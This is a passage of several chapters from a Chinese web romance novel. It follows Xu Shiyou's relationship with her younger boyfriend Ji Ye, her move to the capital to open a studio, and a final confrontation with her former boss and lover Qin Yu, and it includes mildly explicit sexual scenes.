他说完,又有些不安地看过来:“对不起啊姐姐,我不是故意偷窥你生活的……我知道这样的行为有些像变态,但我就是想见你又没别的办法,我——”
话说至一半,被吻住。
徐诗柚支起身子,攀上他的肩,一下下啄吻他的唇,她捧住他脸,抵住他额,真诚地回应:“谢谢你一直以来的喜欢,我没有觉得反感,也不觉得像变态……那你呢,会觉得我不自爱吗?”
“要说姐姐不自爱的话,那我也半斤八两吧。姐姐是不是忘了,我们那个的时候,你都没给我身份呢,那我是不是也挺不自爱的……”
呃,是她的问题。谁让她总用这样的方式开启一段感情,谁让她总是先动了色心才来动凡心呢……
“我们开始的方式没什么不同,唯一的区别只在于我比姐姐幸运,我如愿以偿了,而姐姐却没有。”
“还是有些不一样的,他是我上司……”
“但姐姐一开始,并不是冲着他上司的身份吧?”
不是,那会她还比较肤浅,单纯看上他的皮囊和被他的个人魅力所蛊。但即便她不存在私心,这件事也是不该的。
和上司有那样的关系,本就是职场大忌。
“也许开始的方式是错了,但结果却未必,只能说,是我比较幸运。如果当时他就和姐姐一起了,也没我什么事了……”
“那姐姐觉得…和我的结果,也是错的吗?”
徐诗柚释然,莞尔:“不,是我幸运才对。”
能被一个人如此长久而珍重地爱着,是她幸运才对。
她没有不幸运,那些糟糕的过往,不过都是为了这一刻的幸运揭晓所作的铺垫,她现在才是真正的,如愿以偿。
45. 舍离
两人彼此交心后,情感更深。
当然,再深,这晚都是被禁止再做点什么的,季野觉得这不是休息,是折磨。
这男人一旦开了荤,就是没完没了,身上使不完的劲,不让睡,手也没老实过,实在是到了半夜,徐诗柚受不了他这黏黏糊糊的劲了,踹了一脚才老实。
第二天早上送走时,徐诗柚等他上了车,才轻敲了敲车窗,示意他降下,她勾勾手,让他过来。
季野便配合地贴上。
徐诗柚低头,凑近他耳朵,低声:“其实那晚的你…还挺带劲的,我没有不喜欢……”
季野听得先是一愣,又听她继续说完:“我是喜欢阿野乖,但…也喜欢小野凶……”
季野要炸了,她这一撩拨,差点让他没忍住想把人摁进车里再做点什么,甚至想再多留一晚,但徐诗柚像是早料到般,死死顶住车门,强行把他送走了。
开出去很远后,季野还在回味着她刚才的话,末了,燥热不下,靠边停了车,愤愤地给她发消息控诉:【姐姐你真的好坏啊…】
早不说晚不说,偏要等他走的时候再来撩拨。
【你让我这一路上怎么消下去啊……】
一想到分开还要好一阵不能见面,更难受了。
徐诗柚就是故意的,哪管他的死活:【受着呗,就当作是那晚你对我这么凶的惩罚,谁让你没大没小,没轻没重的!】
季野:【可姐姐刚不也说了喜欢?】
徐诗柚:【哼,那也得罚。】
季野:【……】
-
徐诗柚是在他离开的一小时后才看到的朋友圈。
他发了一张两人十指相扣的照片。
他的手掌宽大有力,手背凸起的青筋显出几分占有欲,扣着她的手压在下面,将她纤细的手牢牢包裹,看着有种不动声色撩人的性感,像他每次发力时边滴着汗忍得爆青筋的那种感觉,涩涩的。
他昨晚有问过她能不能发她照片,看他那一副已经迫不及待昭告全世界的样子,徐诗柚都没忍心拒绝。
她还以为他会发露脸的照片呢。
不过当她点进他朋友圈时,她发现是她想多了。
他官宣是没发露脸照,他是直接把朋友圈的背景图换成她了!
而且……
她盯着看了那张背景照许久许久。
这就是那张,他十二三岁时偷拍她的……
紫藤花架下,摇椅上,纯白裙子的少女熟睡,斑驳的阳光落在她身上,似是染上了一层圣洁的光圈。
他说,好漂亮,像仙女。
嗯,确实,她就是仙女本仙吧!
拍得还挺好看的,氛围感拉满。
季薇同时发来张照片,正是季野朋友圈背景那张,然后是满屏的问号。
【??????】
【如果我没记错的话,这是你高中时候的裙子吧???】
徐诗柚:【是吧……】
季薇:【你俩到底谁!!!!】
【蓄谋已久!!!!】
对了,季野的官宣配文:【蓄谋已久,得偿所愿。】
-
徐诗柚是月底才回的A城,那会已经离季野开学没几天了,两人几乎是前后脚到,她上午回家,他下午就落地追来。
季薇正式入了京市总部,这边的房子就给了季野一人,但他现在可是有女朋友的人,才不要自己一个人住,于是很不要脸地赖在了徐诗柚家。
不过他是买菜做饭,家务活全包的二十四孝男友,无可挑剔,除了私人空间被严重侵占,晚上太折腾人之外,徐诗柚倒也没什么可说的。
而且他这么粘人也是因为两人能这么相处的时间不多了,回到A城后,徐诗柚就开始了着手回京市的准备。
她把本地的单子都做完交货后,又开了两期线上教学,然后就开始在平台上招生走线下,4月底,她退了房,最后一晚,两人在房子里毫无节制地纵情了一晚。
因为她要走,季野那阴湿小狗的隐藏属性又莫名大爆发,嘴巴叨叨了一晚到那边后不许和秦聿这,那的,醋得不行,但完全不给她回答的机会。
由于被折腾得太厉害,第二天上飞机的时候,徐诗柚困得睡了一路。
京市这地方,寸土寸金,租房子租工作室都是一笔不小的花销,但她在这最大的好处就是有人罩着,这些都不是问题。
季家地产众多,季薇随手就给她扔了个繁华地段的商铺来开工作室,开出的租金是远低于市价的。
其实季薇本意是不用她付钱的,她家又不缺这点,不过徐诗柚还是好歹意思意思,不然显得她多厚脸皮啊?
而且连房子,都不是她租的……
季薇直接给了她套房子,不过那房子不是她的,是季野名下的,说弟弟在她来之前就给她安排好了。
徐诗柚其实不是那种觉得对方是自己闺蜜,男朋友什么的,就不好意思花对方钱,不好意思占对方便宜的人,在她看来,男朋友,朋友,闺蜜,这样的人,也是自己人脉的一种,能赚到便宜是自己的本事,没必要矫情的,自己在其他方面尽力回报就行。
说到底,她不是品德多高尚的人,她有自知之明。
但季家这种大便宜,不是占了就能轻易回报的。她和季薇还好说,十几年的朋友了,知根知底,没那么多的计较。
可季野不同,两人谈上总共也没多久,就直接占了人一套房,脸皮再怎么厚也有点……
她把想法直接告诉了季野,结果对方倒是先委屈上了:“那我到时候回去找你,不还是到你那蹭吃蹭喝蹭睡?你这样显得我这男朋友很废……”
本来就还没出来工作,跟她地位就极为不对等了,跟秦聿比更是除了年轻毫无优势可言,现在连房子都不肯住他的,他觉得自己对她的生活和工作起不到任何作用,显得他这男朋友很没用。
徐诗柚没料到他是这么个想法,还在跟秦聿较劲呢。最后她自己想通了,男朋友的便宜怎么就不能占了?大不了以后两人要是没走下去,她再想办法把钱还给他就是了。
想是这么想,但她每个月还是给他转了一笔钱当租金,当然,这租金肯定是对不上房子的真正价值的,就是给个意思。
说租金,弟弟不肯收,说是包养他的,他立马收了。
“姐姐,你其实想包养我很久了吧?”这话还是后来他从孟嘉信那听来的。
徐诗柚无奈道:“主要不是包养不起嘛,要是能包,我都不用费这劲勾搭了。”
“勾搭?”季野听出了点什么,眯了眯眼,突然问,“哦,所以姐姐是什么时候开始对我有想法的?”
季野是后知后觉到徐诗柚对他的行为是多少带点暧昧和暗示的,但具体是从什么时候开始的,他不太清楚,只知道反应过来的时候,自己已经咬着钩屁颠屁颠地摇着尾巴等待对方拉钩了。
“你猜。”
“……”
-
徐诗柚来京市后,还做了次断舍离。
其中最该断的,就是秦聿当初送她的那十几个包包,哦,后来她拆包装的时候才发现,里面甚至还放了些首饰。
她把那些奢牌包全卖了,首饰也出了,换了一大笔钱。
按照故事的发展,为了展现她的美好品格,她该把这笔钱还给秦聿的,他大概率不会收,然后她就会存着不用。
但她没有,因为她没有什么美好品格。
这笔钱够她在京市挥霍上一阵了,她用来抵租金,也省了好大笔呢。
季薇知道的时候还挺震惊的:“你当初不是说,收他的东西感觉像卖身吗?这会怎么愿意拿来换钱了?不觉得是卖了?”
徐诗柚摇头:“不,还是像卖身,当初收到这些,就觉得挺侮辱人的。”
“我不用,还可以欺骗自己,双方不过各取所需,这段关系里,我们是平等的。”
成年男女,速食欲望,不谈感情,不负责任,只图一时欢愉,很正常,无可厚非。
但那样的对象,不该是上司。
“但其实挺自欺欺人的,我们的关系其实从一开始就不平等,他是我上司,我私底下和他有那样的关系,就注定无法避免地会从他那获得一些资
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源或者人脉的倾斜,哪怕这些都没有,那他对我工作上的关照或指点,恐怕也多少会掺杂了点私心。”
“都是人,是人就会有自己的私心,我不能说自己完全没有从这段关系上得到过任何好处,既然有,那这段关系就不可能是平等的,我掩耳盗铃地觉得不过各取所需,我们的关系对别人对工作没有任何影响……其实挺婊的。”
“哪怕是一点点私心,那也是我借这段关系占了便宜。”
“既然占了便宜,那我再优秀工作再出色,也注定会为自己的能力蒙上一层说不清的成分。”
“所以比起自欺欺人,我更想记住这个教训。”
“我接受了他送我的东西,花了他的钱,这件自己干过的上不得台面的丑事也算是钉在人生耻辱柱上了。”
“这是我给自己的,不自爱的证明。我将永远记住,自己犯过的蠢。”
……
-
刚来京市的几个月,徐诗柚很忙,季野也很忙,徐诗柚是忙工作室的事,季野是忙导师给他推荐的各种竞赛。
但季野就像只热恋期有分离焦虑症的大狗狗,一到周五就急着飞过来找徐诗柚贴贴,要充电,他也不回家,磨到周日就赶飞的回学校,被他这么整了几回后,徐诗柚禁止他再飞了。
先不说两人都忙,真正能坐下来温存的时间很少,主要这样跑来跑去的也太累人了。
一开始季野还很不乐意,非说她剥夺自己作为男友的探望权,强烈要求申诉。
徐诗柚一票否决:“乖,听话。”
一句话,大狗狗耷拉着脑袋申诉失败。
-
秦聿是在她回京市的半个月后知道的。
被秦聿找上门是意料之中的事,春节那次后,他有给她发过一段时间的消息,被她刻意冷处置后就没发过了。
得知她早在半个月前就回了京市,他约了她,在从前他们常去的那家餐厅。
“怎么突然又愿意回来了?”
这是落座后,两人之间的第一句话。
闻言,徐诗柚缓慢收回放在窗外熟悉风景上的视线,目光移向对面的人,漫不经心地开口:“也没什么,就是想着…男朋友是这的人,迟早我也是要过来的,倒不如早点来。”
话落,空气有几秒的凝滞。
徐诗柚的视线始终锁在对方脸上。
她有过期待的,或许,能从秦聿身上看到些许的动容。
毕竟他都能在春节时顶着那样的风雪,开车十几小时往返来见她,问她要不要重新开始了。
但很遗憾,什么都没看见。
秦聿还是秦聿,还是那个对待感情冷静理智到近乎冷漠的男人,在听她说出“男朋友”三个字后,就注定了他不会再向她展现出任何一点的低姿态。
说不上是可惜多一些,还是释然多一些。
倘若他动摇,她或许对这段曾经的感情还有些许宽慰,说明她也不是那么一厢情愿,但他这样的不为所动,似乎也正好,那就更证明了这段感情没有什么值得她可留恋的,并不可惜。
果然,对面的男人神色毫无变化,倒像是早料到般,说:“嗯,猜到了。”
过了会,他又问:“什么时候的事?”
徐诗柚也没隐瞒:“你走的那天。”
他轻敲在杯沿上的指尖蓦地顿了下,半晌,略略嘲讽:“倒是给别人做嫁衣了。”
“不过在那之前……”在那之前,你们就已经有过什么了吧,秦聿原本是想这么问的,但又觉得已经没了意义。
徐诗柚等了片刻,没等到下文。
“在那之前什么?”
对方只是轻摇了头,没接着问下去,反倒问了另一件在她看来毫不相干的问题,他问她:“跨年那天,你在哪?”
“什么?”眉头稍折,似是不太能理解他这话题的跳跃度。
秦聿凝住她神色几秒,确认她是真不知情后才笑出一声:“看来,你是真不知道啊……”
“跨年那天我来找过你,给你打了十几通电话,发了几十条信息,这些,你都知道吗?”
46. 说清
“跨年那天我来找过你,给你打了十几通电话,发了几十条信息,这些,你都知道吗?”
徐诗柚听得怔愣,眼底闪过几分错愕。
秦聿没放过她脸上一丝的变化,有疑惑,有错愕,有不解…他还有什么不明白的,也只有这个可能了。
不然她也不至于让他的消息石沉大海,连句敷衍的回复都没有。
他扬起唇,讥讽出声:“早跟你说过了,现在的弟弟没想你的那么单纯,人家什么都懂,什么都会,轻飘飘地就把你当傻子一样蒙在鼓里。”
徐诗柚在几秒的怔愣间便理清了思绪,闻言,眉梢轻挑:“挑拨离间?”
秦聿不为所动:“陈述事实。”
“你连身边躺着的是个怎样心机深沉,谎话连篇的人都搞不清楚……”他说到这,停顿几秒,略略嘲讽地继续,“你确定能有以后?”
“而且,他还在读书吧?你来这边,那是准备跟他异地恋?”
徐诗柚没什么情绪地“嗯”了声。
秦聿观察她神色片刻,移开目光:“虽然不想这么说……但客观评价,他长得不错,本身也很优秀,还是季家的小少爷,要什么有什么,像他这样出生的人,你觉得身边会缺女人吗?他这么年轻,你又凭什么认为,你们异地两年,他能守得住这份寂寞?”
“他在你面前都能这么面不改色地耍这些手段,两年时间,在你看不见的地方他会做些什么,你不担心?他说什么,你又真的敢信?”
秦聿难得多话地去评价一个人,徐诗柚倒是有几分意外。分析得挺合乎常理的,如果她不是了解季野为人的话,指不定真的就听进去了。
她端起酒杯抿了口,放下杯子后,才慢悠悠开口,应的却不是他的一番话。
她问他:“秦聿,你喜欢我吗?”
这是她第二次问他了。
空气再次凝固下来,在这句话后,周遭似乎都被按了暂停键,一切的喧嚣都被屏蔽,只剩他们二人。
她在等。
许久,他扯动了下唇,目光与她相对,一字一句,字正清晰:“徐诗柚,除了你,我没对谁这样过。”
他指的是,在分开半年后,还主动联系,主动递台阶,每周大老远飞去只为和她吃顿饭,跨年夜拒绝掉所有人的邀约,打了十几个电话,发了几十条信息,最后换来另一个男人接了她电话的情况下,还不死心地在她家门口等了一晚上,最后什么都没等到,第二天坐了最早班的飞机回去。
这已经是他能做到的极限了,当然,这些他都不会特意说出来。
他有他的骄傲,不允许自己这样三番四次地为了谁低头。至于春节那次,于他而言,已是连自己都始料未及的意外,不过一时的冲动,但也到此了。
他没有直白表达喜欢,但三年多的相处,足够徐诗柚理解了。
这么多年,终于换来了他的一句承认,心绪竟意外地平静,跳出情情爱爱地再去看他们的这段曾经,她倒是能看清了几分。
或许以前也不是看不清,只是不愿看清。
“秦聿,你向来是喜欢耀眼的东西的。你才貌出众,有实力有背景,在你眼里,自己就该配最好的。”
秦聿淡然看她,没有否认。
“你理想中的伴侣,就该和你一样,有和你相当的背景出生,长得漂亮,独立自信,站在你身边也丝毫不逊色于你,带出去别人也会一眼就觉得般配。”
“而不是我这样,除了相貌和努力,哪哪都不如你的。”
“所以你即便有那么点喜欢我,也只愿意和我维持那样的关系,而不是想给我一个身份。”
“其实你骨子里就觉得,我配不上你,是吗?”
秦聿眸色微闪,动了动唇:“你想说什么?”
“所以在你看来,普通的我,其实也配不上季野对吧?”
“你觉得,我们现在能在一起,也只是他的一时新鲜,等他将来出了社会,见过形形色色的人,以他的身份又有什么优秀的女人是他接触不到的,所以我们也未必能谈长久……”
秦聿没否认,他视线转开,回答却是徐诗柚所没料到的:“三年多的感情你都能说放下就放下,你又长情到哪去……”
徐诗柚被他话里暗带的责备和埋怨惊住,万没想到问题居然是自己,甚至有些想笑。
她不可置信地问他:“秦聿,你该不会认为,这段感情里,还是我对不起你,是我负了这段感情吧?”
他盯住她,竟没反驳。
只是淡然平述:“这段关系里,一直都是你要开始就开始,你要结束就结束的,不是我。最后一次也是,非要结束的是你,要走的也是你。”
徐诗柚气笑了:“是啊,每次我们吵架都是我要结束的,你从不会挽留,到最后,也都是我巴巴低着头来哄你,你明知道我喜欢你,知道我会低头,知道我被你拿捏得死死的,装什么?这可不就是我要开始就开始,我要结束就结束嘛?”
“你只是没挽留也没拒绝而已,你有什么错!”
秦聿也略微不悦地拧起了眉,声音都不受控地带了几分情绪,像是同样积闷许久:“你走的那天我都不在公司,回来才知道你离职了,就在前一天,你还答应我会好好聊聊,结果呢?你早在一个月前就打定了主意要走,只有我被蒙在鼓里。”
“我为什么要挽留一个一声不吭,一心想要离开我的人?你做到这份上,不就是想避开我吗?”
“所以你就觉得,是我先放弃了,是我对不起你,心里有气,之后的半年多里,也不愿意主动和我联系一次?”
秦聿不回答,算是默认。
“秦聿,你还是真是,真是……”徐诗柚又气又想笑的,都不知道该说什么了,“薇薇以前总跟我骂你是渣男,我还不觉得,现在我觉得了。”
秦聿冷笑着反问:“我渣男?我是对你不好,还是对不起你了?”
“你是没有,你只是,不主动,不拒绝,不负责而已,这不是渣男是什么?”
“我们的关系……”
“是!我们的关系不是需要你主动,负责的关系!但你在明知道我对你有别的想法的前提下,还继续和我保持着关系,不拒绝我,这又怎么说?这难道不是你默认的吗?”
“在你提出想谈的时候,我记得我拒绝过的。”
“是啊,又是我假装说开玩笑才掩饰过去的嘛,但我那是试探,你难道真看不出来?你不也一样默认了?”
秦聿眸色微动,这句话后,两人之间又是长久的静默。
“我承认……”许久,徐诗柚终是听见了他的承认,“在这件事上,是我的私心使然,确实是我的问题。”
“是,因为你自私!你既不想让我走,也不想和我建立关系
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,所以你情愿装傻。”
气氛一时有些剑拔弩张,两人目光相对,僵持不下。
上头的情绪,又在僵持中,逐渐趋于平缓。
这次,是秦聿先败下阵的,他垂下了眼,偏开视线:“你说得没错,我确实自私。”季薇骂他是精致的利己主义者,他是承认的。
“你知道的,我不会爱人……在一开始,我就告诉过你了。”
“恋爱于我而言,是件麻烦的事。”
明明是想要来平静地说清一切的,最后却还是动了情绪,徐诗柚不想再被他牵动任何思绪了,也懒得再在从前的事上纠缠。
她平复了下心情,回:“我知道,所以此刻的结局于我们而言,不就是最好的吗?你不想谈恋爱,而我也不想继续和你那不清不楚的关系了。”
就到此为止吧。
已经没什么可说的了。
秦聿看出她已不欲再谈,两人之间的菜色却分毫未动,他叹了声,没再继续,只是道:“先吃饭吧,一会我送你。”
徐诗柚却不想继续逗留了:“不了,我一会还有事,就不吃了吧。”
秦聿安静看她几秒,最后,还是一如既往的,并不挽留,他缓慢吐字:“行。”
徐诗柚临走前,又想起什么地提醒:“对了,你也别再联系我了,我男朋友会不高兴…你懂的吧?”
秦聿轻撩了下眼皮,尘埃落定后,恢复了以往的眉眼冷淡:“放心,死缠烂打这么没品的事我也做不出来。”
说到这,他唇角又扬起那熟悉的讥讽,他慢慢地品了口酒,又放下,语气散漫:你尽管谈,我倒想看看你们这些自诩真爱的又能谈多久。”
徐诗柚乐了:“怎么,我谈不长久,你是要等我分手啊?难不成我不分,你还要为我守身如玉?”
秦聿抬眼,看傻子似地看她:“想得挺美。”
“你和你男朋友在那你侬我侬,翻云覆雨,还让我给你守身如玉?想什么呢你?”
嗯,是这个味没错了,这才对嘛,这才是秦聿,追妻火葬场什么的,就不适合他。
这人,骄傲得很,面子比什么都大,怎么可能会为了她独善其身呢,那样的情节,小说里看看得了。
况且,那些小说里被作者或读者赋予深情标签的男主,尚且也不是所有人都会从一而终,中间总得换那么几个,来体现女主才是那个最特别最好的,更何况秦聿。
能和她做炮友,自然也能和别人。
可能换那么一两个,他就会知道,比她好的不知有多少。
现实又不是小说,能有几个真会在兜兜转转后为你停留?如果有,那是大家都玩够了,将就罢。
况且,兜兜转转过的她也不要,嫌脏。
徐诗柚最后再多说了一句。
“其实…温念和你挺般配的。”无论是身份背景,学历,性格,才情样貌,各方面都是。
徐诗柚一直没明白,两人为什么会到现在都只是朋友。
“少操这心。”
他这么聪明的人,怎么会不知道温念对他什么心思,温念也确实符合他对伴侣的所有要求,但就是没法,他们之间就是缺少了点什么,秦聿说不上来,或许就是感觉不对吧。
徐诗柚也不再多嘴,提了包,起身,不带留恋:“行,随你。”
“再见。”
最好不见。
47. 偷袭
徐诗柚这头见完秦聿,没想到当天就被弟弟知道了。
晚上通电话的时候,季野支支吾吾,欲言又止了半天,聊天都心不在焉的,一副想问又不敢问的样子。
他不知道徐诗柚是不是故意瞒着他,但又没法假装不知道,他好奇死他们聊了什么了。
最后还是徐诗柚察觉出的他的不对,硬问出来的。
徐诗柚有些意外:“你怎么知道我见他了的?”
“有人给我发了照片……”
“谁?”
“我朋友圈不是有你的照片嘛……所以我不少的朋友见过你照片,今天就是有人看见了问我,是不是我女朋友……”
徐诗柚听明白了,也是第一次清楚感受到这里确实是季野长大的地方。
“你这怎么还带眼线的?那我以后在这干点什么,你是不是都能马上知道了?”
季野却难得地没否认,他从小在那边长大,在那边读书,自然有他的圈子,他的人脉在。
哪怕他本身不是个喜欢和人打交道的个性,他父母也会带他出席各种场合,认识不同的人,也因着他的身份,就算他不主动,也会有很多人主动想要和他攀谈上。
比起从小就不爱受管控,喜欢到处跑,读书都不愿意呆在本地的季薇,他认识的人可能确实比他姐都多,他也不好保证,徐诗柚在那边的一举一动,会不会有认识的人看见了给他发点什么,借此来和他攀关系。
“啧,怎么有种进了太子爷势力范围的错觉呢……”
太子爷这个称呼让季野脚趾抠地,噎了下,嗫嚅道:“没那么夸张,姐姐你别这么喊……”
“啊,所以你一开始说要发朋友圈其实就存了心机的吧?现在搁这给我装什么不好保证?”
“……”他又不说话了。
不说话就是默认。
“你还没说呢,和他见面的事。”季野目光飘了飘,提了点声,急着把难题抛回去,把主导权拿回来,“他找你说什么了?”
徐诗柚眼珠子转了转,道:“没什么啊,就是问我怎么愿意回来了而已。”
“那姐姐怎么说?”
“就说,我男朋友在这,我以后大概率也是要过来的,就来了咯。”
“男朋友”三个字明显取悦了手机那头的人,唇角才要扬起呢,却又听她说——
“哦,对了,他还问我知不知道跨年夜那晚他给我打了十几通电话,发了几十条消息找我的事。”
扬起的弧度就这么僵在了季野脸上。
“我不知道诶…你知道吗?”她问他。
安静,手机那头安静得连呼吸声都没了。
徐诗柚开的扬声器,手机架在一旁,她在画稿,一心二用,所以格外有耐心,那边不说话,她就这么等着。
不知过了多久,那边才发出点像是试探的声音。
“姐姐……”
因着徐诗柚也一直不说话,季野一颗心七上八下的早就乱得不成样了。
徐诗柚却还在不急不缓地补刀:“他还说,我连身边躺着的是个怎样心机深沉,谎话连篇的人都不知道,还谈什么以后?”
“况且还是异地恋,像你这样的条件哪里会缺女人喜欢,又经常见不着面,指不定在外面拈花野草了,对我说谎都信手拈来……”
“姐姐我没有!”这一件件莫须有压下来,简直是给他扣了顶天大的锅!
徐诗柚正要接话,却见语音通话被对面挂断了。
紧接着,视频通话打了过来。
徐诗柚立马扔了笔,调整了下姿态和表情。
视频一接通,手机屏幕里映出的是她那张没什么表情的脸,她本身就长得偏冷系,不笑的时候就显得特别高冷不近人情。
季野这把深刻体会到了异地恋的致命性了,只能听见声音看不见表情的时候,心里对对方的态度就很没底,很慌乱,所以迫不及待想要通过观察神情来判断对方此刻的心情。
等确实看到对方神情了,被她的冷淡刺到,又恨不能当面交流,至少可以动用点外在辅助,比如拥抱,比如亲吻,实在不行还可以……
但他现在什么都做不了,对着她那张似乎因为生气而变得冷淡的脸,只能干巴巴地解释。
“姐姐别生气,我不是故意动你手机的……”
徐诗柚冷着脸问他:“你知道你这算是侵犯我隐私吧?”
季野更慌了,整个人耷拉下来:“知道……”
“对不起。我就是怕你接到他打电话会心软去找他,我怕你还想着他……”
“我承认,我的方式是不对,但我…就是真的很不想姐姐还和他有联系。”
“是我吃醋,我小气,我做得不好,姐姐别生我气了。”
季野知道她喜欢自己乖顺的模样,这会乖乖低头承认错误,装得可怜巴巴的,想让她心软。
“姐姐你别这样,我怕……”
“还有,我绝对不是他说的那种人!姐姐你别听他的!”
“哦?他说的哪种人?心机沉重,还是谎话连篇?”
“我没谎话连篇!我顶多就是…就是…隐瞒不报而已……”
“那心机深沉呢?这总没冤枉你了吧?”
“……也没有很深沉,就…一点点深沉。”他试图狡辩一下。
“你确定真的就一点点吗?”
“……”这给他说得都要自我怀疑了,但他也确实没耍什么特别大的心机啊?都是些很小很小,可以忽略不计的小心机而已。
见他不应,徐诗柚冷哼出声。
捕捉到关键信号,季野立马凑到镜头前,又装出那副可怜巴巴的姿态:“姐姐我错了,不会有下次了,你原谅我吧……”
徐诗柚不接受:“光嘴上原谅啊?没诚意。”
有希望!
他立马接话:“那姐姐说,要我怎么做才可以?”
徐诗柚睨了眼镜头,挥了挥手:“挪开点。”
季野马上听话地远离了镜头些。
徐诗柚终于看到了他脑袋以下:“再挪远点。”
季野便一直往后挪,直到能看到他整个上半身了,才让他停。
徐诗柚从上往下打量着他,他在房间里,只穿了件单薄的长袖针织,V领,领口松垮,露出半截锁骨,多少有点性感。
徐诗柚脸上的冷淡褪去,唇角微扬,满意地点点头。
季野没搞明白她要做什么,只知道她似乎不生气了,刚想说点什么,下一秒,便听见她说——
“把衣服叼起,看看腹肌。”
季野:“……”
-
创业初期,徐诗柚特别忙,季野难得放长假的时候,大部分时间也是陪她在店里度过,她要忙教学,要忙设计,甚至还要忙直播,还有拍视频剪辑配音做教程之类的琐碎工作,每天回到家都是又晚又累。
季野替她分担了些许剪辑视频的任务,晚上等她洗漱完就抱着她睡觉。
也不是没有想干点什么的想法,但看到她这么又累又困的,总归心疼比欲望更多。
徐诗柚不是没感觉到他的忍耐,事实上在他每次贴过来抱抱时,睡觉时,亲吻时,都能感觉到他那蠢蠢欲动的膨胀,但他不提,她就存了心当没发现,想看他能为她忍到什么程度。
她确实是挺累的,也没什么力气折腾,但也不代表她没有想和他亲密的想法,偶尔迷迷糊糊间会感觉到他贴在身后偷偷蹭她,有时也会被蹭得来感觉,但她不想动,就享受着他这样的偷偷摸摸。
不过小狗太乖了,怕打扰她,动作都不敢大的,每次蹭到一半就收回去,要么跑去洗澡自行解决,要么就这么憋到睡着。
徐诗柚是在临近假期结束的某个半夜睡醒的,旁侧
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的人也已熟睡,她没了睡意,支着脑袋借着冷清的月光细细量过他的眉目,睡相太乖,让人都不忍心叫醒。
明明好不容易放假,应该都挺想的,却怕她劳累硬是把自己憋到快假期结束了都没提,真是体贴到让人怜爱的地步。
徐诗柚在他脸上亲了一口,夜色里,唇扬起,眼角勾着坏,她手往被子里探去,顺着他紧实的腰腹线条游走……
季野感觉自己出了一身的汗,黏腻,潮闷,梦里的一切都过于真实,他甚至能感受到对方的体温,感受到对方喷洒在他颈侧的灼热呼吸。
他有些受不了了,呼吸骤然变沉,下颌线绷紧,伸手想要推阻。
“姐姐,别闹……”他紧闭着眸,眉心蹙起,溢出一声沙哑的梦呓。
身上的每一分感触都真实得让他发颤,他恍若被什么千年女鬼缠上了,或是什么勾人的妖精,那女鬼或是妖精还长着一副和姐姐一样的面孔,不管他怎么逃,都不依不饶地缠上来。
他被撩拨得难以自持,耳尖红得快滴血,腰腹不受控地轻抵上去,睫毛剧烈颤动,最后彻底失了分寸。
“唔……”一声闷哼卡在喉咙里,他指尖无意识地攥紧了底下的床单,指节用力到泛白。
骤然惊醒,身体还残留着梦里的酥麻感,黑暗中,他睁着眼,气息急促,胸口剧烈起伏,额上沁出一层薄汗,身上仿若被什么重压着难以动弹。
意识逐渐回笼,他开始感觉身上的重量仿若有实感,缓缓垂下睫来,便看见一只妖娆的小猫,正支着脑袋趴在他胸前,一只手还漫不经心地在他胸前打着转,痒痒的。
“醒啦?”徐诗柚半支起身子,动了几下,在他身上坏坏地画着圈,颇为遗憾道,“有点快啊弟弟……”
季野缓慢地眨了眨眼,迟钝的感官在一点点恢复,他彻底清醒了。
身体感知恢复的瞬间,他耳根霎时红透,抬手窘迫地掩盖在眼睛上:“我以为…是在做梦……”梦里没什么自控力也是能理解的吧,加上他很久没有过了,一点触碰都敏感得不行。
他喉结滚动几下,又支起脑袋往下觑,那里被她睡裙遮蔽,但感官却清楚明白得很。
“姐姐,你这也太犯规了……”居然趁他睡着的时候……
“不喜欢啊?那我下次……”
“没有不喜欢!”喜欢死了!
感觉有什么要渗出,他赶紧起身打开夜灯,抽出来换了个新的,徐诗柚见状正要躺回去,被他按住腰往下压。
他红着脸:“别…姐姐,就这样……”
“嗯?”
“刚刚在梦里的不算…我想就这样看着姐姐……”
清醒状态下的季野果然是不一样的,徐诗柚没动一会就不行了,趴在他身上抱怨:“不行了,好累,我不要在上面了!”
季野捏捏她后颈,有点扬眉吐气地反问:“刚谁说我快的?”
“你刚就是快啊!”事实!她又没冤枉。
“那只是比平时快了些,也没有很快吧……而且,那不是以为在梦里嘛……”
“行了,别说了,你快点吧,我想睡了。”她摆烂。
“别啊,姐姐把我弄醒了就想睡,太不负责了吧?”
“那我下次不这么弄了。”
季野直接起身,抱住她亲吻,柔软又温热的触感落在唇瓣,徐诗柚很快就被亲软了,耳边是他诱哄的低声:“姐姐,下次还要,好不好?”
她软声含糊应着:“为什么?”
“唔…喜欢……”
他羞涩地开口:“我喜欢姐姐这样的主动…以后还要……”
尤其是被喜欢的人…真的爽到头皮发麻,他爱死了。
“姐姐以后也多偷袭偷袭我吧……”
“看在我为姐姐憋了这么久的份上,姐姐不忍心拒绝我的吧?”
“……”还说不心机?